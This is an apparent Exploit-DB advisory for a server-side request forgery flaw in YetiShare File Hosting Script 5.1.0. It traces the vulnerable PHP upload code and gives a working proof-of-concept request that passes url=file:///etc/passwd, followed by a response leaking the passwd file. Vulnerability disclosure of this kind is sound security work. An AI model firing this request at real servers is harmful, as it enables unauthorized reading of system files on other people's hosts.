YetiShare File Hosting Script 5.1.0 – ‘url’ Server-Side Request Forgery

  • 作者: numan türle
    日期: 2021-02-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49534/
  • # Title: YetiShare File Hosting Script 5.1.0 - 'url' Server-Side Request Forgery
    # Date: 09.01.2021
    # Author: Numan Türle
    # Vendor Homepage: https://mfscripts.com
    # Software Link: https://yetishare.com
    # Version: v5.1.0
    # Tested on: YetiShare - File Hosting Script v5.1.0, Php Version : 7.4
    
    
    Summary
    ---------
    YetiShare is script the file hosting. This script has remote file upload feature.
    Since sufficient security measures are not taken in the remote file upload area, 
    SSRF vulnerability available.
    
    Description
    ---------
    When a new upload request is received by the user, the following function block 
    is called first.
    app/tasks/process_remote_file_downloads.cron.php
    ------------------------------------------------
    // include plugin code
    $url = $urlDownloadData['url'];
    $params = PluginHelper::includeAppends('url_upload_handler', array(
    'url' => $url,
    'rowId' => 0,
    'urlDownloadData' => $urlDownloadData,
    )
    );
    $url = $params['url'];
    
    // start download
    $upload_handler->handleRemoteUrlUpload($url);
    ------------------------------------------------
    
    The url parameter received as input from the user in the called function blog is 
    sent to the "handleRemoteUrlUpload" function. 
    
    /Users/numan/Desktop/file-hosting-script-v5.0.0-beta/app/services/
    Uploader.class.php
    ------------------------------------------------------------------
    public function handleRemoteUrlUpload($url, $rowId = 0) {
    .....
    $remoteFileDetails = $this->getRemoteFileDetails($url);
    $remoteFilesize = (int) $remoteFileDetails['bytes'];
    if ($remoteFilesize > $this->options['max_file_size']) {
    .....ERROR MSG
    }
    else {
    // look for real filename if passed in headers
    if (strlen($remoteFileDetails['real_filename'])) {
    $realFilename = trim(current(explode(';', 
    $remoteFileDetails['real_filename'])));
    if (strlen($realFilename)) {
    $this->fileUpload->name = $realFilename;
    }
    }
    
    // try to get the file locally
    $localFile = $this->downloadRemoteFile($url, true);
    ------------------------------------------------------------------
    
    In this function that is called, the details of the file are taken first and if 
    the bytes is not larger than the max_file_size, the "downloadRemoteFile" 
    function will go to the download.
    
    ------------------------------------------------------------------
    public function getRemoteFileDetails($url) {
    .....
    $execute = curl_exec($ch);
    
    // check if any error occured
    if (!curl_errno($ch)) {
    $rs['bytes'] = (int) curl_getinfo($ch, 
    CURLINFO_CONTENT_LENGTH_DOWNLOAD);
    .....
    ------------------------------------------------------------------
    ------------------------------------------------------------------
    public function downloadRemoteFile($url, $streamResponse = false) {
    .....
    // use curl
    if (function_exists('curl_init')) {
    // get file via curl
    $fp = fopen($tmpFullPath, 'w+');
    if ($ch === null) {
    $ch = curl_init();
    }
    
    curl_setopt($ch, CURLOPT_URL, $url);
    .....
    curl_setopt($ch, CURLOPT_FILE, $fp);
    if (curl_exec($ch) === false) {
    // log error
    LogHelper::error('Failed getting url. Error: ' 
    . curl_error($ch) . ' (' . $url . ')');
    return false;
    }
    $status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    fclose($fp);
    .....
    }
    .....
    ------------------------------------------------------------------
    
    
    
    
    POC
    ---------
    
    GET /ajax/url_upload_handler?csaKey1=CSAKEY1&csaKey2=CSAKEY2&rowId=0&url=file:///etc/passwd&folderId=-1 HTTP/1.1
    Host: target.com
    Connection: close
    Accept: */*
    Cookie: HERE_COOKIE
    
    
    
    Response
    ---------
    HTTP/1.1 200 OK
    Content-Type: text/html; charset=UTF-8
    Connection: close
    Pragma: no-cache
    Content-Length: XXX
    
    ...<script>parent.updateUrlProgress({"done":{"name":"passwd","size":2082,
    "type":"text\/plain; charset=us-ascii","error":null,"rowId":0,
    "requestUrl":"file:\/\/\/etc\/passwd","url":....
    
    
    
    ..........
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync